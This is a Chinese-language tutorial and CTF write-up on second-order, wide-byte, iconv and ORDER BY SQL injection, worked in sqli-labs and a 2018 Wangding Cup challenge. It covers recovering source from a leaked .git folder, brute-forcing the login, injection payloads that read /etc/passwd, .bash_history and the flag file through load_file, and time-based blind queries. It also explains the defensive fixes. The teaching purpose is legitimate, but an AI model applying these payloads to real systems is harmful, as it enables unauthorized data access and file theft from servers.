SQL注入进阶练习
- 1. 二次注入
- 1.1 概念
- 1.2 sqllabs less-24
- 1.2.1 利用示例
- 1.2.2 原理剖析
- 1.3 网鼎杯2018 二次注入
- 1.3.1 环境搭建
- 1.3.2 解题思路
- 1.3.2.1 寻找源码 - git泄露数据恢复
- 1.git是啥
- 2.获取源码泄露的数据
- 1.3.2.2 源码分析
- 1.3.2.3 爆破登陆密码
- 1.3.2.4 实施二次注入获取flag
- 1.3.3 总结
- 2. 宽字节注入
- 2.1 概念
- 2.2 sqllabs less-33
- 2.3 字符编码引发的SQL注入问题
- 2.3.1 环境搭建
- 2.3.2 宽字节注入
- 2.3.3 GB2312与GBK的不同
- 2.3.4 mysql_real_escape_string 作为解决方案
- 2.3.5 宽字符注入的修复
- 2.3.6 iconv导致的致命后果
- 2.3.7 小结
- 3. order by 注入
- 3.1 什么是order by 以及order by 注入
- 3.2 注入类型的判断
- 3.3 注入方式
- 3.3.1 union联合查询
- 3.3.2 基于if语句的盲注(数字型)
- 3.3.3 基于时间的盲注 --- 无列名
- 3.3.4 基于rand()的盲注(数字型)--- 无列名
- 3.3.5 报错注入
- 3.4 总结
- 4. limit 注入
- 5. 总结
SQL注入的分类虽然大体上只有我们之前提到的那么几类,但真实的环境中又有一些"别样的“注入方案。例如二次注入、宽字节注入、order by注入、limit 注入。这些注入方式虽然不便于严格的按照分类进行划分,但是仅凭借着知名度就已经耳熟能详了。
本文将通过sqllab的一些例子以及部分CTF比赛试题,来对这几类注入方案进行一个详细的总结。
1. 二次注入
1.1 概念
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
作者:Ackerzy
链接:https://www.jianshu.com/p/3fe7904683ac
这一点其实还是和存储型XSS的攻击原理有些相似的,下main是一张攻击原理图,当然也是借用上面这位兄弟的。
下面我们就通过两个例子来对它进行演示。
1.2 sqllabs less-24
1.2.1 利用示例
我们先进行一波示例来看一看此类注入的利用方式。
我们先到注册界面注册一个账号:
username:user1
password:123123
username:user1'#
password:123123
我们登陆user1'#
账号修改其密码为123456
测试直接使用123456
登陆user1的账号
登陆成功
1.2.2 原理剖析
但从上面的现象上我们能看出,我们新建了一个特殊名字的用户,在修改密码的时候修改了目标账号的密码。获取目标的账号。那么我们输入的单引号与注释符为什么没有在第一次进入数据库的时候生效,反而在我们进行密码修改的时候生效了呢?
我们需要对其部分源码进行分析才能解释这一现象:
我们看到页面中程序的主要功能就是登陆,新建用户,密码修改。我们主页面查看源码:
#登陆页面
function sqllogin(){
#调用了mysql_real_escape_string函数进行了参数过滤
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row) ;
if ($row[1]) {
return $row[1];
} else {
return 0;
}
}
关于过滤函数的解释:
我们再次查看注册部分的功能代码:
//$username= $_POST['username'] ;
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
依然进行了过滤,直到我们查看我们的密码修改功能实现源代码:
if (isset($_POST['submit']))
{
#从session中取出用户名,注意这里不加任何过滤
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
#直接使用uodate进行数据的修改,也就是说我们的恶意用户名在此处会被带入语句执行
#恶意修改正常用户的密码,造成账号泄露
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
echo '<font size="3" color="#FFFF00">';
echo '<center>';
if($row==1)
{
echo "Password successfully updated";
}
else
{
header('Location: failed.php');
//echo 'You tried to be smart, Try harder!!!! :( ';
}
}
else
{
echo '<font size="5" color="#FFFF00"><center>';
echo "Make sure New Password and Retype Password fields have same value";
header('refresh:2, url=index.php');
}
}
?>
看到这里大概就已经清晰了,我们第一次注册账号存入的数据被转义,从而无法在登陆或者创建账号的过程中引发注入。但是我们再次从数据库中取出对应数据的时候,并未对其进行再次转义,导致取出了单引号一类的恶意字符。引发二次SQL注入。
这里还有一个疑点就是mysql_real_escape_string
函数的生效时间,它的转义持续时间明显是没有超过数据库入库的。也就是说,仅仅在程序执行的时候我们的敏感字符会被转义,而最终存储到数据库内部的字符还是如先前一样没有任何过滤措施。我们查看数据库内的信息就可以看到:
所以才会出现我们的敏感字符再次从数据库取出来的时候依然生效引发了二次SQL注入。
到了这里,二次注入的原理就十分清晰了,从数据库取出的用户输入,同样具有危险性。
1.3 网鼎杯2018 二次注入
1.3.1 环境搭建
这道题的环境我们需要到github上面进行拉取。
git网站位置:https://github.com/CTFTraining/wdb_2018_comment
#1.将文件解压到服务器上边
[root@blackstone batman]# unzip wdb_2018_comment-master.zip
#2.修改该docker配置文件中的yml文件监听所有IP地址(否则外网无法访问)
[root@blackstone wdb_2018_comment-master]# cat docker-compose.yml
# 网鼎杯 2018 Comment
version: "2"
services:
web:
image: ctftraining/wdb_2018_comment
restart: always
ports:
- "0.0.0.0:8307:80"
environment:
- FLAG=flag{flag_test}
#3.启动docker环境
[root@blackstone wdb_2018_comment-master]# docker-compose up -d
访问目标网址的8307
端口看到留言板的界面就算环境搭建成功了。
1.3.2 解题思路
大体的思路就是通过目录扫描器看一看目标站点是否存在git泄露问题。当我们拿到目标站点的部分源码时可以通过对源码的代码审计获取目标站点的一些漏洞信息。或许能找到可供我们利用的漏洞点。
我们先使用dirsearch对目标站点进行目录扫描:
┌──(root💀kali)-[~]
└─# dirsearch -u http://192.168.2.169:8307
存在.git
开头的文件,我们可以通过相应的工具拉取目标站点的git泄露数据。
1.3.2.1 寻找源码 - git泄露数据恢复
1.git是啥
Git(读音为/gɪt/)是一个开源的分布式版本控制系统,可以有效、高速地处理从很小到非常大的项目版本管理。 [1] 也是Linus Torvalds为了帮助管理Linux内核开发而开发的一个开放源码的版本控制软件。
以下内容有来自一个开发朋友,后面我也会加强对这部分的学习。毕竟git还是十分有用的一款多人开发版本控制工具。
对于git工具来说我们入门理解的话需要搞清楚以下三个概念:
工作区、保存区、推送区、
工作区就是目前你正在写的代码文件存在的地方,也是你的工作目录。一天工作完成了,保存到保存区,相当于一个备份,同时会给你提交的这个版本打上一个标签,是唯一的,方便你回滚。完成一段时间的工作后,你觉得没问题了,可以在保存区里选择你的版本(一般都是最新版),推送到github仓库。相当于发布了。这是个人用户的基础功能,当然它很智能,更重要的是多人协作。
咱两共同管理github一个仓库,各自负责一个模块,你完成一天的工作后push到仓库,第二天早上我pull一下就能把你写的那一部分更新到我的本地
2.获取源码泄露的数据
既然已经确定了是git数据泄露,那我们自然就需要远程把目标的泄露文件给请求到本地,进行进一步的分析。那么此时我们就需要使用一些工具来完成这一操作了。
githacker工具的获取:
#1.克隆github仓库至本地
git clone https://github.com/wangyihang/GitHacker.git
#2.安装依赖,并安装githacker --- 注意进入到对应目录里面去
┌──(root💀kali)-[~/tools/GitHacker-master]
└─# python3 -m pip install -i https://pypi.org/simple/ GitHacker
#3.使用方法直接进入文件目录输入以下命令 --- 具体进阶操作可以看git上的解释
┌──(root💀kali)-[~/tools/GitHacker-master]
└─# githacker --url http://192.168.2.169:8307/.git/ --output-folder result
此时我们进入对应文件夹内就可以访问泄露的git源代码了:
┌──(root💀kali)-[~/tools/GitHacker-master/result/76023a72314fd5e7c3b8a69e9ce3c64c]
└─# ll -a
total 16
drwxr-xr-x 3 root root 4096 Mar 6 05:06 .
drwxr-xr-x 3 root root 4096 Mar 6 05:06 ..
drwxr-xr-x 8 root root 4096 Mar 6 05:06 .git
-rwxr-xr-x 1 root root 324 Mar 6 05:06 write_do.php
┌──(root💀kali)-[~/tools/GitHacker-master/result/76023a72314fd5e7c3b8a69e9ce3c64c]
└─# cat write_do.php
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
很可惜,这里的php文件看起来就像是残缺品,看不到敏感信息(拼接的SQL语句信息),显然到这里就没了思绪,我们再次查看网页源码,发现有一点小提示:
commmit
是git使用中的一条命令,其作用在于将本地的修改保存到仓库中,也就是说,由于程序员的一些操作没有进行commit,故我们就无法在显示出来的文件中看到修改的全貌。我们可以使用git工具帮我们解决信息不全的问题。
一点点小知识:
Q:git推送和提交的区别是什么?
1、推送(push):把您本地仓库的代码推送至服务器,将本地库中的最新信息发送给远程库。提交(commit):把您做的修改,保存到本地仓库中,将本地修改过的文件提交到本地库中。
2、git commit操作的是本地库,git push操作的是远程库。
数据恢复方案:
#1.使用 git log --reflog 命令,查看分支提交历史,确认需要回退的版本
#2.使用 git reset --hard commit_id 命令,进行版本回退
我们尝试进行版本回退:
1.3.2.2 源码分析
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
//提交参数do有两种处理方式,一个是write一个是comment
//do方案明显三个参数均进行了过滤,过滤函数为addslashes()
//comment的运行流程里明显有从数据库中根据bo_id取出的category参数
//嗯,元芳你怎么看,category参数从数据库取出未进行过滤?二次注入?
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
//我们二次上传的content参数,可以有一定的辅助作用
$content = addslashes($_POST['content']);
//拼接出来的数据处理语句
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
有一个功能模块,提供的某一个功能参数明显被二次读入页面且未经过过滤。妥妥的二次注入特征。具体是哪里的问题我们还需要进一步的确认:
当我们输入浏览尝试登陆时出现了必须登陆的界面,明显这是想要我们使用burp进行密码的爆破。
1.3.2.3 爆破登陆密码
我们使用burp进行抓包:
进入爆破模块,先来个快到斩乱麻,我们进行数字爆破,位数从000-999。
查看结果:
隐藏密码666
登陆成功。
1.3.2.4 实施二次注入获取flag
1.功能对比:
上一张图我们发表了一张留言板,明显这里有详情可以点击进去看看:
到这里就对上我们先前的初步源码分析了,我们初次进行留言应该使用的第一个write功能,而comment明显就是对评论的提交。
2.构造payload
我们经过粗略的分析已经推断出正文是可以再次回显到页面内部的,而我们提交的留言则会再次作为参数提交金查询语句。
#第一次提交的category
',content=user(),/*
#第二次提交的content
*/#
#二次注入的执行SQL语句
$sql = "insert into comment
set category = '',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";
如此一来完美的hack掉了这里的SQL语句。我们进行一个测试:
二次注入闭合代码:*/ #
出结果了:
这里我们还是测了很多次,注意不能被表象所迷惑,回显的参数不一定就是从数据库里拿出来的参数。
接下来我们要尝试进行二次注入获取目标flag:正常的查库名、表名、字段名就在这里掠过了,因为这样的操作显然对这道题是无效的。我们需要使用另外的方案去获取数据。
用sql来读取文件。模板:select load_file(‘文件绝对路径’)
1.读取读取/etc/passwd,这个文件存放了系统用户和用户的路径
a',content=(select (load_file('/etc/passwd'))),/*
这一步我们通过passwd文件获取了www用户的网页根目录也就是/home/www
2.读取成功,我们知道www用户(一般和网站操作相关的用户,由中间件创建)的目录是/home/www,可以查询这下面的.bash_history
每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件,保存了当前用户使用过的历史命令,方便查找。
a',content=(select (load_file('/home/www/.bash_history'))),/*
命令分析:
#进入tmp目录
cd /tmp/
#解压文件,并删除压缩包
unzip html.zip
rm -f html.zip
#目录文件转移
cp -r html /var/www/
#去到/var/www/html文件下删除隐藏文件 .DS_Store
cd /var/www/html/
rm -f .DS_Store
#启动apache中间件web服务
service apache2 start
一波分析之后我们可以推断出,文件.DS_Store
被遗留到了tmp目录的html之下。
.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。通过.DS_Store可以知道这个目录里面所有文件的清单。
3.读取遗留下来的文件.DS_Store
a', content=(select (load_file('/tmp/html/.DS_Store'))),/*
文件过长,我们对其进行16进制编码显示,稍后进行转码:
a', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
进行转码:
4.读取flag
a',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
解码获取flag
到此,这道题目就彻底完成了。
1.3.3 总结
本题目中首先考察了源码泄露的相关知识,我们要知道在扫描目标站点物理路径时会获取目标站点的路径信息。一旦发现有.git类的文件我们就要考虑git泄露的相关问题了。
在使用githack工具爬取目标站点的git文件之后我们还要注意的就是关于文件内容的完整性。可以使用git工具中的一些命令,恢复本地的文件到某一个时间点,以此获取最全面的泄露代码。
关于源码分析就要理清楚代码的运行流程,将其与程序的功能相对应起来,定位漏洞点,最终拼接处可以使用的SQL语句注入点。
在拿到注入点之后,出了常规的爆库名、表名、字段名拉取数据之外。我们还有一种思路就是使用load_file函数来读取服务器上的一些配置文件。获取有效信息。
依靠非法读取文件获取有效信息的参考读取思路可以有:获取passwd文件中的用户信息定位用户家目录,读取用户家目录下隐藏的.bash_history
文件以获取历史命令信息。最终通过对历史命令的分析,得出敏感文件,敏感操作存在的可以漏洞点进行进一步的分析。
参考文章:https://blog.csdn.net/qq_45521281/article/details/105470232
2. 宽字节注入
2.1 概念
PHP提供了一众函数来过滤我们的SQL注入,比如addslashes()
其主要作用就是在特殊的字符尤其是'
前添加转移符号。为了绕过这一限制,在某些情况下我们就可以使用宽字节注入的姿势进行绕过达到注入的目的。
宽字节注入的本质上就是利用各种编码技巧,让数据库最终在进行数据处理(接收SQL语句)的时候能够吞掉后面的转义符。实现单引号逃逸。引发注入漏洞。
下面通过几个例子进行宽字节注入的讲解:
2.2 sqllabs less-33
我们先给出利用现象,稍后在进行进一步的分析:这一关我们先尝试引发单引号报错:
这里看起来是被转义了,我们分析其php源码:
#对get传参接收的参数进行过滤,check_addslashes()可以过滤单引号使其失效
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
#指定字符集为gbk字符集
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#00FF00">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
更换payload,利用宽字节进行绕过:
http://127.0.0.1/sqllabs/Less-33/?id=1%df'
这里可以看到,本来的转义符前面多了一个字符,引发了报错。让我们逃逸出了限制。
众所周知addslashes
函数产生的效果就是,让'
变成\'
,让引号变得不再是“单引号”,只是一撇而已。一般绕过方式就是,想办法处理\'
前面的\
:
1.想办法给
\
前面再加一个\
(或单数个即可),变成\\'
,这样\
被转义了,'
逃出了限制
2.想办法把\
弄没有。
我们这里的宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)。我们之前的payload就是输入了一个%df,我们修改源码之后再次进行注入查看:
这里可以看到系统数据库在进行数据处理时把%df
和\
同时解析为一个宽字节汉字,于是导致单引号逃出了转义符号。引发SQL注入。
2.3 字符编码引发的SQL注入问题
2.3.1 环境搭建
进入sqllabs的数据库新建一个news表设置字符集为gbk:
mysql> create table news(
-> tid int(10) primary key auto_increment,
-> title char(20),
-> content char(50)
-> )charset=gbk;
mysql> insert into news (title,content) values ('news1','i am bat man');
Query OK, 1 row affected (0.00 sec)
mysql> insert into news (title,content) values ('news2','hacker!!!');
Query OK, 1 row affected (0.00 sec)
将php页面放到less-33
目录下面方便查看:
<?php
include("../sql-connections/sql-connect.php");
//对接受的参数进行转义过滤
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
// $id = isset($_GET['id']);
//确定是否要进行GBK编码操作
mysql_query("SET NAMES gbk");
$sql = "SELECT * FROM news WHERE tid='{$id}'";
//打印出我们实际执行的SQL语句便于理解原理
echo($sql);
echo '</br>';
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>新闻</title>
</head>
<body>
<?php
if($row)
{
echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n";
}
else
{
print_r(mysql_error());
}
?>
</body>
</html>
2.3.2 宽字节注入
此时我们使用2.2中提到过的方案,尝试进行报错注入:
http://127.0.0.1/sqllabs/Less-33/kuozhan.php
?id=1%df' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
原理的话我们在上面已经给大家说过了,数据库由于使用了gbk
解码形式,在遇到%df
时由于其ascll
码大于128
,于是将其归类为双字节汉字的低位,继续将后面的\
解析为了汉字的高位。于是引发了单引号的逃逸。
我们可以尝试加入两个%df
,看一看是否继续生效:
此时不再继续生效,这就是因为数据库进行解码的时候将两个%df
合并解码成为了一个汉字字符。并未对转义符号进行干扰,故单引号不生效。
2.3.3 GB2312与GBK的不同
GB2312编码适用于汉字处理、汉字通信等系统之间的信息交换,通行于中国大陆;新加坡等地也采用此编码。 中国大陆几乎所有的中文系统和国际化的软件都支持GB 2312。
gb2312和gbk应该都是宽字节家族的一员。但我们来做个小实验。将我们的编码形式set names
修改成gb2312
:
mysql_query("SET NAMES gb2312");
我们再次尝试刚才的处理方案:
到这里就不能绕过了,究其原因:gb2312编码的取值范围。它的高位范围是0xA1~0xF7
,低位范围是0xA1~0xFE
,而\
是0x5c,是不在低位范围中的 。所以,0x5c
根本不是gb2312中的编码,所以自然也是不会被吃掉的。
所以,把这个思路扩展到世界上所有多字节编码,我们可以这样认为:只要低位的范围中含有0x5c
的编码,就可以进行宽字符注入。
2.3.4 mysql_real_escape_string 作为解决方案
那么如果我们就是想用bgk编码。但是还不想被宽字节注入骚扰的话就需要有一种解决方案(某一个函数)来解决这个问题。
部分cms对宽字节注入有所了解,于是寻求解决方案。在php文档中,大家会发现一个函数,mysql_real_escape_string,文档里说了,考虑到连接的当前字符集。
于是,有的cms就把addslashes替换成mysql_real_escape_string,来抵御宽字符注入。我们继续做试验,就用mysql_real_escape_string来过滤输入:
$id = isset($_GET['id']) ? mysql_real_escape_string($_GET['id']) : 1;
按照官方说明,这也没有起到限制作用,明显引发了逃逸。
原因就是,我们有指定php连接mysql的字符集。我们需要在执行sql语句之前调用一下mysql_set_charset函数,设置当前连接的字符集为gbk。
<?php
include("../sql-connections/sql-connect.php");
//对接受的参数进行转义过滤
// $id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
mysql_set_charset('gbk',$con);
$id = isset($_GET['id']) ? mysql_real_escape_string($_GET['id']) : 1;
// $id = isset($_GET['id']);
//确定是否要进行GBK编码操作
// mysql_query("SET NAMES gbk");
// mysql_query("SET NAMES gbk");
$sql = "SELECT * FROM news WHERE tid='{$id}'";
//打印出我们实际执行的SQL语句便于理解原理
echo($sql);
echo '</br>';
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>新闻</title>
</head>
<body>
<?php
if($row)
{
echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n";
}
else
{
print_r(mysql_error());
}
?>
</body>
</html>
防御生效:
也就是说使用了mysql_real_escape_string
函数进行过滤后,仍需要进行mysql_setcahrset()函数的调用确保链接的字符集被正确设定,以此规避宽字节注入。
2.3.5 宽字符注入的修复
在2.3.4中我们说到了一种修复方法,就是先调用mysql_set_charset
函数设置连接所使用的字符集为gbk,再调用mysql_real_escape_string
来过滤用户输入。
这个方式是可行的,但有部分老的cms
,在多处使用addslashes
来过滤字符串,我们不可能去一个一个把addslashes
都修改成mysql_real_escape_string
。我们第二个解决方案就是,将character_set_client
设置为binary
(二进制)。
只需在所有sql语句前指定一下连接的形式是二进制:
SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary
这几个变量是什么意思?
当我们的mysql接受到客户端的数据后,会认为它的编码是character_set_client
,然后会将之替换成character_set_connection
的编码,然后进入具体表和字段后,再转换成字段对应的编码。
然后,当查询结果产生后,会从表和字段的编码,转换成character_set_results
编码,返回给客户端。
所以,我们将character_set_client
设置成binary
,就不存在宽字节或多字节的问题了,所有数据以二进制的形式传递,就能有效避免宽字符注入。
<?php
include("../sql-connections/sql-connect.php");
mysql_query("SET NAMES gbk");
//设置数据库的连接编码格式
mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary",$con);
//对接受的参数进行转义过滤
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
// mysql_set_charset('gbk',$con);
// $id = isset($_GET['id']) ? mysql_real_escape_string($_GET['id']) : 1;
// $id = isset($_GET['id']);
//确定是否要进行GBK编码操作
// mysql_query("SET NAMES gbk");
$sql = "SELECT * FROM news WHERE tid='{$id}'";
//打印出我们实际执行的SQL语句便于理解原理
echo($sql);
echo '</br>';
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>新闻</title>
</head>
<body>
<?php
if($row)
{
echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n";
}
else
{
print_r(mysql_error());
}
?>
</body>
</html>
防御效果:
2.3.6 iconv导致的致命后果
很多cms,不止一个,我就不提名字了,他们的gbk版本都存在因为字符编码造成的注入。但有的同学说,自己测试了这些cms的宽字符注入,没有效果呢,难道是自己姿势不对?
当然不是。实际上,这一小节说的已经不再是宽字符注入了,因为问题并不是出在mysql上,而是出在php中了。
很多cms会将接收到的数据,调用这样一个函数,转换其编码:
iconv('utf-8', 'gbk', $_GET['word']);
我们修改一下刚才的源码:
我们可以看到,它在sql语句执行前,将character_set_client
设置成了binary
,所以可以避免宽字符注入的问题。但之后其调用了iconv
将已经过滤过的参数$id
给转换了一下。
那我们来试试此时能不能注入:
#payload
http://127.0.0.1/sqllabs/Less-33/kuozhan.php
?id=2錦'
居然报错了。说明可以注入。而我只是输入了一个錦'
。这是什么原因?
我们来分析一下。“錦“这个字,它的utf-8编码是0xe98ca6
,它的gbk编码是0xe55c
。
有的同学可能就领悟了。\
的ascii码正是5c。那么,当我们的錦被iconv
从utf-8
转换成gbk
后,变成了%e5%5c
,而后面的'
被addslashes
变成了%5c%27
,这样组合起来就是%e5%5c%5c%27
,两个%5c
就是\
,正好把反斜杠转义了,导致’逃逸出单引号,产生注入。
这正利用了之前说的,绕过addslashes
的两种方式的第一种:将\
转义掉。
那么,如果我是用iconv
将gbk转换成utf-8
呢?
我们来试试:
之前的锦用不了了,我们尝试使用原始的宽字节注入方案:
http://127.0.0.1/sqllabs/Less-33/kuozhan.php
?id=2%df'
果然又成功了。这次直接用宽字符注入的姿势来的,但实际上问题出在php而不是mysql。
我们知道一个gbk汉字2字节,utf-8汉字3字节,如果我们把gbk转换成utf-8,则php会每两个字节一转换。所以,如果\'
前面的字符是奇数的话,势必会吞掉\
,'
逃出限制。
2.3.7 小结
在逐渐国际化的今天,推行utf-8编码是大趋势。如果就安全性来说的话,我也觉得使用utf-8编码能够避免很多多字节造成的问题。
不光是gbk,我只是习惯性地把gbk作为一个典型的例子在文中与大家说明。世界上的多字节编码有很多,特别是韩国、日本及一些非英语国家的cms,都可能存在由字符编码造成的安全问题,大家应该有扩展性的思维。
总结一下全文中提到的由字符编码引发的安全问题及其解决方案:
-
gbk编码造成的宽字符注入问题,解决方法是设置character_set_client=binary。
-
矫正人们对于mysql_real_escape_string的误解,单独调用
set names gbk
和mysql_real_escape_string
是无法避免宽字符注入问题的。还得调用mysql_set_charset
来设置一下字符集。 -
谨慎使用iconv来转换字符串编码,很容易出现问题。只要我们把前端html/js/css所有编码设置成gbk,mysql/php编码设置成gbk,就不会出现乱码问题。不用画蛇添足地去调用iconv转换编码,造成不必要的麻烦。
3. order by 注入
3.1 什么是order by 以及order by 注入
在MySQL支持使用ORDER BY语句对查询结果集进行排序处理,使用ORDER BY语句不仅支持对单列数据的排序,还支持对数据表中多列数据的排序。语法格式如下
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序
假设有以下用户表
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | liuyang | 123 |
| 16 | user1 | 123456 |
| 17 | user1'# | 123123 |
+----+----------+------------+
当我们使用命令 select * from users order by username asc;
的时候,是将users这张表按照username这一列进行升序排列,结果就变成了;可以看到username那一列是按照字母从小到大的方式进行排序。
mysql> select * from users order by username asc;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 12 | dhakkan | dumbo |
| 1 | Dumb | Dumb |
| 3 | Dummy | p@ssword |
| 15 | liuyang | 123 |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 16 | user1 | 123456 |
| 17 | user1'# | 123123 |
+----+----------+------------+
16 rows in set (0.00 sec)
mysql中order by还支持多个字段自定义排序,通过逗号隔开,但只能在数字之间进行自定义排序,若选择字符类型则会根据第一个列名的排序规则进行排序。
语法格式如下:
select * from 表名 order by 列名(或者数字) asc;升序(默认升序) ,列名(或者数字) desc;降序(默认升序)
而order by注入就是通过可控制的位置在order by子句后,如下order参数可控:
select * from goods order by $_GET['order']
3.2 注入类型的判断
数字型order by注入时,语句order by=2 and 1=2
,和order by=2 and 1=1
显示的结果一样,所以无法用来判断注入点类型
而用rand()会显示不同的排序结果,当在字符型中用?sort=rand()
,则不会有效果,排序不会改变。因此用rand()可判断注入点类型。
3.3 注入方式
3.3.1 union联合查询
前面经常利用order by子句进行快速猜解表中的列数。测试时,测试者可以通过修改order参数值,比如调整为较大的整型数,再依据回显情况来判断具体表中包含的列数。再配合使用union select语句进行回显。
3.3.2 基于if语句的盲注(数字型)
下面的语句只有order=$id
,数字型注入时才能生效,order ='$id'
导致if语句变成字符串,功能失效。
#带单引号的查询方案 --- 并不生效,结果不按照password的大小进行排序
mysql> select * from users order by 'if(1=2,id,password)';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | liuyang | 123 |
| 16 | user1 | 123456 |
| 17 | user1'# | 123123 |
+----+----------+------------+
16 rows in set (0.00 sec)
#不带单引号的查询方式 --- 生效,结果确实按照单引号进行了排序
mysql> select * from users order by if(1=2,id,password);
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 15 | liuyang | 123 |
| 17 | user1'# | 123123 |
| 16 | user1 | 123456 |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 4 | secure | crappy |
| 1 | Dumb | Dumb |
| 12 | dhakkan | dumbo |
| 6 | superman | genious |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 3 | Dummy | p@ssword |
| 5 | stupid | stupidity |
+----+----------+------------+
16 rows in set (0.00 sec)
在知道列名的前提下使用
?order=if(表达式,id,username)
#根据我们的排序状态不同可以得到系统给出的正误判断
3.3.3 基于时间的盲注 — 无列名
order by if(表达式,1,sleep(1))
- 表达式为true时,正常时间显示
- 表达式为false时,会延迟一段时间显示
示例:
http://127.0.0.1/sqllabs/Less-46/
?sort=if((ascii(mid((select database()),1,1))>1), sleep(1) , 1)
计算公式:延迟时间=sleep(1)的秒数*所查询数据条数
